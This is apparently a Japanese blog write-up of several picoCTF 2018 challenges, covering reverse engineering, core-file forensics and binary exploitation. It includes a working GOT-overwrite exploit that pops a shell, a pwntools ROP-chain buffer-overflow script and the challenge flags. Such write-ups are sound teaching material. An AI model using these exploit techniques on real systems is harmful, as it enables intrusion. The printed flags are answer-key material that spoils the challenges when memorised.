[0x004008a6]> pdf ;-- main: / (fcn) sym.main 62 | sym.main (int argc, char **argv, char **envp); | ; var int local_10h @ rbp-0x10 | ; var int local_4h @ rbp-0x4 | ; arg int argc @ rdi | ; arg char **argv @ rsi | ; DATA XREF from entry0 (0x4005bd) | 0x004008a6 55 push rbp | 0x004008a7 4889e5 mov rbp, rsp | 0x004008aa 4883ec10 sub rsp, 0x10 | 0x004008ae 897dfc mov dword [local_4h], edi ; argc | 0x004008b1 488975f0 mov qword [local_10h], rsi ; argv | 0x004008b5 b800000000 mov eax, 0 | 0x004008ba e8a9ffffff call sym.header | 0x004008bf b800000000 mov eax, 0 | 0x004008c4 e8f8feffff call sym.set_timer | 0x004008c9 b800000000 mov eax, 0 | 0x004008ce e842ffffff call sym.get_key | 0x004008d3 b800000000 mov eax, 0 | 0x004008d8 e863ffffff call sym.print_flag | 0x004008dd b800000000 mov eax, 0 | 0x004008e2 c9 leave \ 0x004008e3 c3 ret
この中で、実行時に出力された文字列と中断された箇所を参考に、時間がかかってそうな部分を特定しながら掘っていきます。
main > get_key > calculate_key > calc
ここまで掘った所、この calc
関数が元凶の予感です。少なくとも calc 関数自体の再帰呼び出しが5箇所もあります。
2のときは fib() という関数名でしたが、今回は calc() と汎用的な名前なので、関数名からアルゴリズムの判定は難しそう。
[0x00400792]> s sym.calc [0x00400706]> pdf / (fcn) sym.calc 140 | sym.calc (int arg1); | ; var int local_24h @ rbp-0x24 | ; var int local_14h @ rbp-0x14 | ; arg int arg1 @ rdi | ; XREFS: CALL 0x00400733 CALL 0x00400742 CALL 0x00400751 CALL 0x00400761 CALL 0x00400776 | ; XREFS: CALL 0x0040079b | 0x00400706 55 push rbp | 0x00400707 4889e5 mov rbp, rsp | 0x0040070a 4154 push r12 | 0x0040070c 53 push rbx | 0x0040070d 4883ec20 sub rsp, 0x20 | 0x00400711 897ddc mov dword [local_24h], edi ; arg1 | 0x00400714 837ddc04 cmp dword [local_24h], 4 | ,=< 0x00400718 7711 ja 0x40072b | | 0x0040071a 8b45dc mov eax, dword [local_24h] | | 0x0040071d 0faf45dc imul eax, dword [local_24h] | | 0x00400721 0545230000 add eax, 0x2345 ; 'E#' | | 0x00400726 8945ec mov dword [local_14h], eax | ,==< 0x00400729 eb5b jmp 0x400786 | |`-> 0x0040072b 8b45dc mov eax, dword [local_24h] | | 0x0040072e 83e801 sub eax, 1 | | 0x00400731 89c7 mov edi, eax | | 0x00400733 e8ceffffff call sym.calc | | 0x00400738 89c3 mov ebx, eax | | 0x0040073a 8b45dc mov eax, dword [local_24h] | | 0x0040073d 83e802 sub eax, 2 | | 0x00400740 89c7 mov edi, eax | | 0x00400742 e8bfffffff call sym.calc | | 0x00400747 29c3 sub ebx, eax | | 0x00400749 8b45dc mov eax, dword [local_24h] | | 0x0040074c 83e803 sub eax, 3 | | 0x0040074f 89c7 mov edi, eax | | 0x00400751 e8b0ffffff call sym.calc | | 0x00400756 4189c4 mov r12d, eax | | 0x00400759 8b45dc mov eax, dword [local_24h] | | 0x0040075c 83e804 sub eax, 4 | | 0x0040075f 89c7 mov edi, eax | | 0x00400761 e8a0ffffff call sym.calc | | 0x00400766 4129c4 sub r12d, eax | | 0x00400769 4489e0 mov eax, r12d | | 0x0040076c 01c3 add ebx, eax | | 0x0040076e 8b45dc mov eax, dword [local_24h] | | 0x00400771 83e805 sub eax, 5 | | 0x00400774 89c7 mov edi, eax | | 0x00400776 e88bffffff call sym.calc | | 0x0040077b 69c034120000 imul eax, eax, 0x1234 | | 0x00400781 01d8 add eax, ebx | | 0x00400783 8945ec mov dword [local_14h], eax | | ; CODE XREF from sym.calc (0x400729) | `--> 0x00400786 8b45ec mov eax, dword [local_14h] | 0x00400789 4883c420 add rsp, 0x20 | 0x0040078d 5b pop rbx | 0x0040078e 415c pop r12 | 0x00400790 5d pop rbp \ 0x00400791 c3 ret
直前の calc の呼び出し元 calculate_key
はこちら。
[0x00400815]> s sym.calculate_key [0x00400792]> pdf / (fcn) sym.calculate_key 16 | sym.calculate_key (); | ; CALL XREF from sym.get_key (0x400828) | 0x00400792 55 push rbp | 0x00400793 4889e5 mov rbp, rsp | 0x00400796 bf4b8f0100 mov edi, 0x18f4b | 0x0040079b e866ffffff call sym.calc | 0x004007a0 5d pop rbp \ 0x004007a1 c3 ret
これより、calc関数の呼び出し時は 0x00400711
で [local_24h]
に 0x18f4b = 102219(d)
が入ります。(初期値)
calc()
関数を読んでいきます。
0x00400714
で、[local_24h]
と 4
を比較し、4より大きかったら 0x0040072b
へジャンプします。
※ジャンプしない場合、0x0040071d
で [local_24h]を二乗して eax へ格納します。ここで eax
が32bitなのに注意です。
※その次の行で eax
に 0x2345 = 9029(d)
を足し、[local_14h]
に結果を書き戻し、0x400786
へジャンプします。
※ジャンプ後は、eax
に再び [local_14h]
を書き出して終了。
0x0040072b
からは、eax
に [local_24h]
の値を入れ、1を引き、edx
に代入する。
ここで calcの再帰呼び出し。edx
には前回 calc
関数呼び出し時に渡したもの -1 の値が入ります。
そこから下は微妙にマイナーチェンジが入っています。再帰呼び出しの部分の処理を書き出すとこんな感じ。
[local_24h]
の値から1を引いた値を引数に、再帰呼出し[local_24h]
の値から2を引いた値を引数に、再帰呼出し[local_24h]
の値から3を引いた値を引数に、再帰呼出し[local_24h]
の値から4を引いた値を引数に、再帰呼出し- 3.の再帰呼び出し後の
eax
の値から、4.の再帰呼び出し後のeax
の値を引いてeax
に格納 1.の再帰呼び出し後のeax
の値から、2.の再帰呼び出し後のeax
の値を引いた値に、上記の計算結果を足し、5を引いて再帰呼び出し - 5.の再帰呼び出し後の
eax
に0x1234 = 4660
をかけてeax
に格納 eax
にebx
を足し[local_14h]
に格納
ここまでを python で書き直してみます。(むしろここまでの日本語いらなかったのでは)
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import numpy def calc(n): if (n > 4): ebx = calc(n - numpy.int32(1)) ebx -= calc(n - numpy.int32(2)) r12d = calc(n - numpy.int32(3)) r12d -= calc(n - numpy.int32(4)) ebx += r12d eax = calc(n - numpy.int32(5)) eax *= numpy.int32(0x1234) eax += ebx else: eax = n * n eax += numpy.int32(0x2345) return eax print(hex(calc(numpy.int32(0x18f4b))))
これを実行してみると、残念なことに再帰が深すぎるぞとエラーに。
$ python solve.py Traceback (most recent call last): File "solve.py", line 21, in <module> print(hex(calc(numpy.int32(0x18f4b)))) File "solve.py", line 8, in calc ebx = calc(n - numpy.int32(1)) File "solve.py", line 8, in calc ebx = calc(n - numpy.int32(1)) File "solve.py", line 8, in calc ebx = calc(n - numpy.int32(1)) [Previous line repeated 993 more times] File "solve.py", line 7, in calc if (n > 4): RecursionError: maximum recursion depth exceeded while calling a Python object
python3で、この再帰回数の上限を一時的に引き上げる方法は
sys.setrecursionlimit(100000)
で設定を追加できるとのことだったのでやってみる。limitが 10000
だとまだ上限エラーが出るので 100000
にしてみたところ、今度は Segmentation fault: 11
が発生。
付け焼き刃じゃだめみたい。
python 再帰 的なワードで調べているとこんなページが。
memoizeでPythonの再帰計算をキャッシュして高速化 - About connecting the dots.
この記事中で紹介されているpythonのデコレーターについての記事も、とても整理されていて勉強になりました。
Pythonのデコレータを理解するための12Step - Qiita
ということで、上記の2つの記事を参考に、ちょっと汎用的な memorize
関数の実装をして書き換えてみました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import numpy import sys # 事前にoverflowすることがわかっているので警告を無視 numpy.seterr(over="ignore") def memoize(f): cache = {} def helper(*args, **kwargs): key = str(args) + str(kwargs) if key not in cache: cache[key] = f(*args, **kwargs) return cache[key] return helper @memoize def calc(n): if (n > 4): ebx = calc(n - numpy.int32(1)) ebx -= calc(n - numpy.int32(2)) r12d = calc(n - numpy.int32(3)) r12d -= calc(n - numpy.int32(4)) ebx += r12d eax = calc(n - numpy.int32(5)) eax *= numpy.int32(0x1234) eax += ebx else: eax = n * n eax += numpy.int32(0x2345) return eax # cacheの作成 for i in range(0x18f4b): calc(numpy.int32(i)) print(hex(calc(numpy.int32(0x18f4b))))
実行結果
※ 実行時間は3秒以内でした
$ python solve.py 0x2f8cdc3f
計算結果が出たので、後は be-quick-or-be-dead-2 のときと同じく、この計算の呼び出し部分を結果の値で書き換えてあげます。
[0x00400706]> s sym.get_key [0x00400815]> pdf / (fcn) sym.get_key 43 | sym.get_key (); | ; CALL XREF from sym.main (0x4008ce) | 0x00400815 55 push rbp | 0x00400816 4889e5 mov rbp, rsp | 0x00400819 bf080a4000 mov edi, str.Calculating_key... ; 0x400a08 ; "Calculating key..." | 0x0040081e e80dfdffff call sym.imp.puts ; int puts(const char *s) | 0x00400823 b800000000 mov eax, 0 | 0x00400828 e865ffffff call sym.calculate_key | 0x0040082d 89057d082000 mov dword [obj.key], eax ; obj.__TMC_END ; [0x6010b0:4]=0 | 0x00400833 bf1b0a4000 mov edi, str.Done_calculating_key ; 0x400a1b ; "Done calculating key" | 0x00400838 e8f3fcffff call sym.imp.puts ; int puts(const char *s) | 0x0040083d 90 nop | 0x0040083e 5d pop rbp \ 0x0040083f c3 ret [0x00400815]> s 0x00400828 [0x00400828]> pd 1 | 0x00400828 e865ffffff call sym.calculate_key [0x00400828]> wa mov eax, 0x2f8cdc3f Written 5 byte(s) (mov eax, 0x2f8cdc3f) = wx b83fdc8c2f [0x00400828]> dc Be Quick Or Be Dead 3 ===================== Calculating key... Done calculating key Printing flag: picoCTF{dynamic_pr0gramming_ftw_22ac7d81}
やっっっっっったーーー!٩(๑❛ᴗ❛๑)۶
これはバイナリというより、あればProgramingの分野では?
しかしHintの内容も回収できたので、とても勉強になった!とっても良い問題であった!!
[Forensics] core (350pt)
This program was about to print the flag when it died. Maybe the flag is still in this core file that it dumped? Also available at /problems/core_3_bbdfe8f633bce938028c1339013a4865 on the shell server.
print_flag
と core
というファイルがDLできます。
$ file print_flag print_flag: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a339c09aaeae3e30e1babcf8b26c3203b171979b, with debug_info, not stripped
実行ファイルと
$ file core core: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from '/opt/hacksports/staging/core_3_4365917188120846/problem_files/print_flag'
core file というやつのようです。core file、初めて聞きました。
ぐぐってみると、色々情報が載っています。IPAのページも。
Unix/Linuxプロセスが異常終了するとcoreファイルが生成される。coreファイルは異常終了したプロセスのメモリイメージをそのまま保存したもので,デバッグや異常終了時の原因調査に役立つ。しかしcoreファイルが第三者から参照されると,メモリ上に存在するパスワードなどの機密情報が漏洩してしまう。
ということで下調べ終了。
今回は、この core
ファイルの解析の問題のようです。
coreファイルの解析は、下記のコマンド。
$ gdb ./print_flag core GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./print_flag...done. [New LWP 79738] Core was generated by `/opt/hacksports/staging/core_3_4365917188120846/problem_files/print_flag'. Program terminated with signal SIGTRAP, Trace/breakpoint trap. #0 print_flag () at ./print_flag.c:90 90 ./print_flag.c: Permission denied. (gdb)
なんかソースにアクセスできないエラーがが出ていますが、backtraceが見れれば問題なし。
(gdb) backtrace #0 print_flag () at ./print_flag.c:90 #1 0x08048807 in main () at ./print_flag.c:98
ふむ。print_flage関数で死んだらしい。
問題文でもそう言ってるし、関数名も想像の範囲内でむしろここまでの手順は不要だったかも。。。
print_flag のアセンブラを見ます。今回もradare2を使います。
[0x080487ec]> s sym.print_flag [0x080487c1]> pdf / (fcn) sym.print_flag 43 | sym.print_flag (); | ; var int local_ch @ ebp-0xc | ; CALL XREF from sym.main (0x8048802) | 0x080487c1 55 push ebp ; ./print_flag.c:90 | 0x080487c2 89e5 mov ebp, esp | 0x080487c4 83ec18 sub esp, 0x18 | 0x080487c7 c745f4390500. mov dword [local_ch], 0x539 ; ./print_flag.c:91 ; 1337 | 0x080487ce 8b45f4 mov eax, dword [local_ch] ; ./print_flag.c:92 | 0x080487d1 8b048580a004. mov eax, dword [eax*4 + obj.strs] ; [0x804a080:4]=0 | 0x080487d8 83ec08 sub esp, 8 | 0x080487db 50 push eax | 0x080487dc 684c890408 push str.your_flag_is:_picoCTF__s ; 0x804894c ; "your flag is: picoCTF{%s}\n" | 0x080487e1 e82afcffff call sym.imp.printf ; int printf(const char *format) | 0x080487e6 83c410 add esp, 0x10 | 0x080487e9 90 nop ; ./print_flag.c:93 | 0x080487ea c9 leave \ 0x080487eb c3 ret
この内容から、0x539 * 4 + 0x804a080 = 0x804b564
の値を出力しているようです。
メモリの内容を表示します。 (x
コマンド)
コマンドの使い方・オプションは、今回こちらを参考にしました。
(gdb) x 0x804b564 0x804b564 <strs+5348>: 0x080610f0 (gdb) x /s 0x080610f0 0x80610f0: "8a1f03cbcf407a296fa0bcf149fc5879"
ということで、"your flag is: picoCTF{%s}\n"
と出力されるらしいので、flagは picoCTF{8a1f03cbcf407a296fa0bcf149fc5879}
[Binary] got-shell? (350pt)
Can you authenticate to this service and get the flag? Connect to it with nc 2018shell.picoctf.com 23731. Source
DLできるファイルは実行ファイルとソースコード。
$ file auth auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5c1f84b034b4906cce036c3748d4b5a5c3eae0d8, not stripped
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <sys/types.h> void win() { system("/bin/sh"); } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); char buf[256]; unsigned int address; unsigned int value; puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?"); scanf("%x", &address); sprintf(buf, "Okay, now what value would you like to write to 0x%x", address); puts(buf); scanf("%x", &value); sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address); puts(buf); *(unsigned int *)address = value; puts("Okay, exiting now...\n"); exit(1); }
shellを取った後どうするかは知りませんが、問題のタイトルが "got-shell?" なので、きっとshellを取ったら良いことがあるに違いない。
コードを見てみます。
- 最初のユーザー入力でinputされた値を
address
として格納、buf[256]
にaddress
の値を書き込み、buf
を表示 - 次のユーザー入力でinputされる値を
value
として格納、buf[256]
に今度はvalue
,address
の値を格納、buf
を表示 address
の場所にvalue
の値を書き込み
呼ばれない win()
関数では、 system("/bin/sh")
実行ということで、win関数を呼び出せればshellが取れそうです。
radare2で実行ファイルを見た所、win関数のアドレスは 0x0804854b
のようです。
[0x08048564]> s sym.win [0x0804854b]> pdf / (fcn) sym.win 25 | sym.win (); | 0x0804854b 55 push ebp | 0x0804854c 89e5 mov ebp, esp | 0x0804854e 83ec08 sub esp, 8 | 0x08048551 83ec0c sub esp, 0xc | 0x08048554 68f0860408 push str.bin_sh ; 0x80486f0 ; "/bin/sh" | 0x08048559 e882feffff call sym.imp.system ; int system(const char *string) | 0x0804855e 83c410 add esp, 0x10 | 0x08048561 90 nop | 0x08048562 c9 leave \ 0x08048563 c3 ret
main関数も確認。
~~(長いので前略)~~ | 0x0804865c e86ffdffff call sym.imp.puts ; int puts(const char *s) | 0x08048661 83c410 add esp, 0x10 | 0x08048664 83ec0c sub esp, 0xc | 0x08048667 6a01 push 1 ; 1 \ 0x08048669 e882fdffff call sym.imp.exit ; void exit(int status)
最後はexit関数を呼び出して終了のようです。
任意のアドレスに任意の文字列を設定できるということは、呼び出される関数のアドレスに、win関数のアドレスを上書きできれば良さそう。
[0x0804854b]> s sym.imp.exit [0x080483f0]> pdf / (fcn) sym.imp.exit 6 | sym.imp.exit (int status); | ; CALL XREF from sym.main (0x8048669) \ 0x080483f0 ff2514a00408 jmp dword [reloc.exit] ; 0x804a014
exitのアドレスは 0x804a014
ということで、やってみます。
? natsumi$ nc 2018shell.picoctf.com 23731 I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value? 0x0804a014 Okay, now what value would you like to write to 0x804a014 0x0804854b Okay, writing 0x804854b to 0x804a014 Okay, exiting now... ls auth auth.c flag.txt xinet_startup.sh cat flag.txt picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_a8321d81}
おおお!取れた!
[Reversing] quackme up (350pt)
The duck puns continue. Can you crack, I mean quack this program as well? You can find the program in /problems/quackme-up_3_1a5d46f71092071dd15c9edd7f57bd53 on the shell server.
落とせるprogramは下記
$ file main main: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7805a59d24d611ea6d344ade8f6eefd2a9005b1, not stripped
実行ファイルのようです。picoCTFのshell server上で実行してみます。
$ ./main We're moving along swimmingly. Is this one too fowl for you? Enter text to encrypt: test Here's your ciphertext: 51 40 21 51 Now quack it! : 11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1 That's all folks.
暗号化するtextを入れてね、と言われたので "test" を入れてみました。
問題文の意味がいまいちわからないのですが、きっと quack
が「インチキ」という意味「ガーガー鳴く」という意味を兼ねているようなので、それにかけているに違いない。とにかく crack せよってことかな。
$ ./main We're moving along swimmingly. Is this one too fowl for you? Enter text to encrypt: picoCTF{} Here's your ciphertext: 11 80 20 E0 22 53 72 A1 C1 Now quack it! : 11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1 That's all folks.
最初に "test" と入れたときの暗号が、 51 40 21 51
ということで、暗号化された文字数とt
が同じ 51
に変換されていることから、単純な換字暗号っぽく解けないかな?と思ったわけです。
で、与えられた文字列 11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1
がフラグっぽいので、フラグのフォーマットを投げてみたら、ビンゴっぽい。
p: 11 i: 80 c: 20 o: E0 C: 22 T: 53 F: 72 {: A1 }: C1
うむ。これって Reversing じゃなくても解けるのでは…?( ತಎತ)
フォーマットの中の暗号文はこちら 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70
もうascii文字列の可能性の有りそうな文字全部突っ込んでテーブル作ったらええんちゃう?
$ ./main We're moving along swimmingly. Is this one too fowl for you? Enter text to encrypt: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|} Here's your ciphertext: 04 34 24 54 44 74 64 94 84 B4 A4 D4 C4 F4 E4 15 05 35 25 55 45 75 65 95 85 B5 A5 D5 C5 F5 E5 12 02 32 22 52 42 72 62 92 82 B2 A2 D2 C2 F2 E2 13 03 33 23 53 43 73 63 93 83 B3 A3 D3 C3 F3 E3 10 00 30 20 50 40 70 60 90 80 B0 A0 D0 C0 F0 E0 11 01 31 21 51 41 71 61 91 81 B1 A1 D1 C1 Now quack it! : 11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1 That's all folks.
ということで、プログラムを組んでみました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- encrypted_flag = "11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1" all_strings = [] start_index = 33 # ! end_index = 125 # } # create ascii table for i in range(end_index + 1 - start_index): all_strings.append(chr(start_index + i)) print(''.join(all_strings)) # この出力を上記で main に食わせた結果が下記 encrypted_chrs = "04 34 24 54 44 74 64 94 84 B4 A4 D4 C4 F4 E4 15 05 35 25 55 45 75 65 95 85 B5 A5 D5 C5 F5 E5 12 02 32 22 52 42 72 62 92 82 B2 A2 D2 C2 F2 E2 13 03 33 23 53 43 73 63 93 83 B3 A3 D3 C3 F3 E3 10 00 30 20 50 40 70 60 90 80 B0 A0 D0 C0 F0 E0 11 01 31 21 51 41 71 61 91 81 B1 A1 D1 C1" encrypted_arr = encrypted_chrs.split() flag = "" for x in encrypted_flag.split(): flag += all_strings[encrypted_arr.index(x)] print(flag)
実行結果
$ python solve.py !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|} picoCTF{qu4ckm3_8c02c0af}
まぁ、解けてしまった!( ͡° ͜ʖ ͡°)
想定解はアセンブラ読んで処理を理解して復号スクリプトかいてねー!、だったんだろうか?
[Binary] rop chain (350pt)
Can you exploit the following program and get the flag? You can findi the program in /problems/rop-chain_3_f91334c5acb91bde3de858eb8045928a on the shell server? Source.
問題文にスペルミス発見( ✧_✧) 。
picoCTFのshell server上では、該当実行ファイルのディレクトリに flag.txt
が置いてあある。
DLできるのは、rop
, rop.c
の2つのファイル。
$ file rop rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8eaac643f741f622a30379735af2fcdbafefa6c3, not stripped
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <stdbool.h> #define BUFSIZE 16 bool win1 = false; bool win2 = false; void win_function1() { win1 = true; } void win_function2(unsigned int arg_check1) { if (win1 && arg_check1 == 0xBAAAAAAD) { win2 = true; } else if (win1) { printf("Wrong Argument. Try Again.\n"); } else { printf("Nope. Try a little bit harder.\n"); } } void flag(unsigned int arg_check2) { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); if (win1 && win2 && arg_check2 == 0xDEADBAAD) { printf("%s", flag); return; } else if (win1 && win2) { printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n"); } else if (win1 || win2) { printf("Nice Try! You're Getting There!\n"); } else { printf("You won't get the flag that easy..\n"); } } void vuln() { char buf[16]; printf("Enter your input> "); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); }
ソースの方はちょっと長め。
何もしないと、main()
関数が呼ばれ、vuln()
関数が呼ばれ、何やら入力を入れて終了。
flagを出力するには、下記の順序で関数を呼び出し or 変数の書き換えが必要そう。
vuln()
の returngets()
呼び出し時に、win_function1()
を呼び出し:win1
->true
- その後、
win_function2(unsigned int arg_check1)
を引数0xBAAAAAAD
で呼び出し:win2
->true
- その後、
flag(unsigned int arg_check2)
を引数0xDEADBAAD
で呼び出し
上記の順で呼び出されるようなスタックを作成し、vuln()
関数の gets()
関数のBufferOverflow脆弱性を利用して呼び出させます。
これで flag
が表示されるはず!
rop実行ファイルのアセンブリを解析、各関数のアドレスを調べます。
# r2 rop [0x080484d0]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Type matching analysis for all functions (aaft) [x] Use -AA or aaaa to perform additional experimental analysis. [0x080484d0]> afl 0x080483ec 3 35 sym._init 0x08048420 1 6 sym.imp.printf 0x08048430 1 6 sym.imp.gets 0x08048440 1 6 sym.imp.fgets 0x08048450 1 6 sym.imp.getegid 0x08048460 1 6 sym.imp.puts 0x08048470 1 6 sym.imp.exit 0x08048480 1 6 sym.imp.__libc_start_main 0x08048490 1 6 sym.imp.setvbuf 0x080484a0 1 6 sym.imp.fopen 0x080484b0 1 6 sym.imp.setresgid 0x080484c0 1 6 sub.__gmon_start_80484c0 0x080484d0 1 33 entry0 0x08048500 1 4 sym.__x86.get_pc_thunk.bx 0x08048510 4 43 sym.deregister_tm_clones 0x08048540 4 53 sym.register_tm_clones 0x08048580 3 30 sym.__do_global_dtors_aux 0x080485a0 4 43 -> 40 entry.init0 0x080485cb 1 13 sym.win_function1 0x080485d8 7 83 sym.win_function2 0x0804862b 14 233 sym.flag 0x08048714 1 39 sym.vuln 0x0804873b 1 83 sym.main 0x08048790 4 93 sym.__libc_csu_init 0x080487f0 1 2 sym.__libc_csu_fini 0x080487f4 1 20 sym._fini
win_function1()
:0x080485cb
win_function2()
:0x080485d8
flag()
:0x0804862b
ここで、win_function2()
とflag()
関数は引数が必要です。この引数の参照は、該当の関数が呼ばれたときの ebp + 0x8
が参照されます。この引数への参照がいい位置に来るように、関数の呼び出し順が上記の流れになるように並べ替えると、下記のようになります。
0x18 + 0x4 | payload 0x4 | address win_function1() 0x4 | address win_function2() 0x4 | address flag() 0x4 | arg win_function2() 0x4 | arg flag()
こうしておくことで、win_function2()
が呼ばれたときの引数は [ebp + 0x8] にいることになりますし、flag()
関数が呼ばれたときの引数も [ebp + 0x8] にいることになります。
もしこのような組み方ができない場合は、途中で スタックを pop
して return
してくれる命令を挟むことで、下記のように組むことができます。
0x18 + 0x4 | payload 0x4 | address win_function1() 0x4 | address win_function2() 0x4 | pop() 0x4 | arg win_function2() 0x4 | address flag() 0x4 | pop() ※じゃなくてもここで終わりなので何でも良い 0x4 | arg flag()
今回は前者の方針で組みました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * address_win1 = 0x080485cb address_win2 = 0x080485d8 arg_win2 = 0xBAAAAAAD address_flag = 0x0804862b arg_flag = 0xDEADBAAD # picoCTF の shell serverに接続 print('picoCTF shell server login') print('name:') pico_name = input('>>') print('password') pico_pass = input('>>') pico_ssh = ssh(host = '2018shell.picoctf.com', user=pico_name, password=pico_pass) pico_ssh.set_working_directory('/problems/rop-chain_3_f91334c5acb91bde3de858eb8045928a') # targetの実行 p = pico_ssh.process('./rop') p.recvuntil('Enter your input> ') # buffer overflowさせるための入力を作成 payload = b'a' * (0x18 + 0x4) payload += p32(address_win1) payload += p32(address_win2) payload += p32(address_flag) payload += p32(arg_win2) payload += p32(arg_flag) print(payload) # 実行 p.sendline(payload) p.interactive()
実行結果
~~(前略)~~ [*] Working directory: '/problems/rop-chain_3_f91334c5acb91bde3de858eb8045928a' [+] Opening new channel: execve(b'./rop', [b'./rop'], os.environ): Done b'aaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x85\x04\x08\xd8\x85\x04\x08+\x86\x04\x08\xad\xaa\xaa\xba\xad\xba\xad\xde' [*] Switching to interactive mode picoCTF{rOp_aInT_5o_h4Rd_R1gHt_6e6efe52}
٩(๑❛ᴗ❛๑)۶
おまけ
後者の方法も試してみました。
使えそうな pop 命令を探します。radare2のコマンドを下記サイトを参考に使ってみました。
Rop'n'roll · The Official Radare Blog
[0x0804873b]> /R pop 0x08048403 7405 je 0x804840a 0x08048405 e8b6000000 call 0x80484c0 0x0804840a 83c408 add esp, 8 0x0804840d 5b pop ebx 0x0804840e c3 ret 0x08048406 b600 mov dh, 0 0x08048408 0000 add byte [eax], al 0x0804840a 83c408 add esp, 8 0x0804840d 5b pop ebx 0x0804840e c3 ret 0x0804840b c408 les ecx, [eax] 0x0804840d 5b pop ebx 0x0804840e c3 ret 0x080485cc 89e5 mov ebp, esp 0x080485ce c60541a0040801 mov byte [0x804a041], 1 0x080485d5 90 nop 0x080485d6 5d pop ebp 0x080485d7 c3 ret 0x080485d0 41 inc ecx 0x080485d1 a004080190 mov al, byte [0x90010804] 0x080485d6 5d pop ebp 0x080485d7 c3 ret 0x080485d3 0801 or byte [ecx], al 0x080485d5 90 nop 0x080485d6 5d pop ebp 0x080485d7 c3 ret 0x08048650 ec in al, dx 0x08048651 0c68 or al, 0x68 0x08048653 58 pop eax 0x08048654 880408 mov byte [eax + ecx], al 0x08048657 e804feffff call 0x8048460 0x08048783 0000 add byte [eax], al 0x08048785 008b4dfcc98d add byte [ebx - 0x723603b3], cl 0x0804878b 61 popal 0x0804878c fc cld 0x0804878d c3 ret 0x080487e6 c40c5b les ecx, [ebx + ebx*2] 0x080487e9 5e pop esi 0x080487ea 5f pop edi 0x080487eb 5d pop ebp 0x080487ec c3 ret 0x080487e7 0c5b or al, 0x5b 0x080487e9 5e pop esi 0x080487ea 5f pop edi 0x080487eb 5d pop ebp 0x080487ec c3 ret 0x080487e8 5b pop ebx 0x080487e9 5e pop esi 0x080487ea 5f pop edi 0x080487eb 5d pop ebp 0x080487ec c3 ret 0x080487f8 e803fdffff call 0x8048500 0x080487fd 81c303180000 add ebx, 0x1803 0x08048803 83c408 add esp, 8 0x08048806 5b pop ebx 0x08048807 c3 ret 0x080487ff 0318 add ebx, dword [eax] 0x08048801 0000 add byte [eax], al 0x08048803 83c408 add esp, 8 0x08048806 5b pop ebx 0x08048807 c3 ret 0x08048804 c408 les ecx, [eax] 0x08048806 5b pop ebx 0x08048807 c3 ret
この中で、popしてすぐにretしてくれる命令のアドレスを抽出します。
0x0804840d 5b pop ebx
0x080485d6 5d pop ebp
0x080487eb 5d pop ebp
0x08048806 5b pop ebx
これら4つのアドレスならどれでも使えそうです。
上記のプログラムの入力作成部分を下記で置き換えてみます。
# buffer overflowさせるための入力を作成 v2 address_pop = 0x0804840d payload = b'a' * (0x18 + 0x4) payload += p32(address_win1) payload += p32(address_win2) payload += p32(address_pop) payload += p32(arg_win2) payload += p32(address_flag) payload += b'a' * (0x4) payload += p32(arg_flag) print(payload)
こちらでも無事、flagがとれました!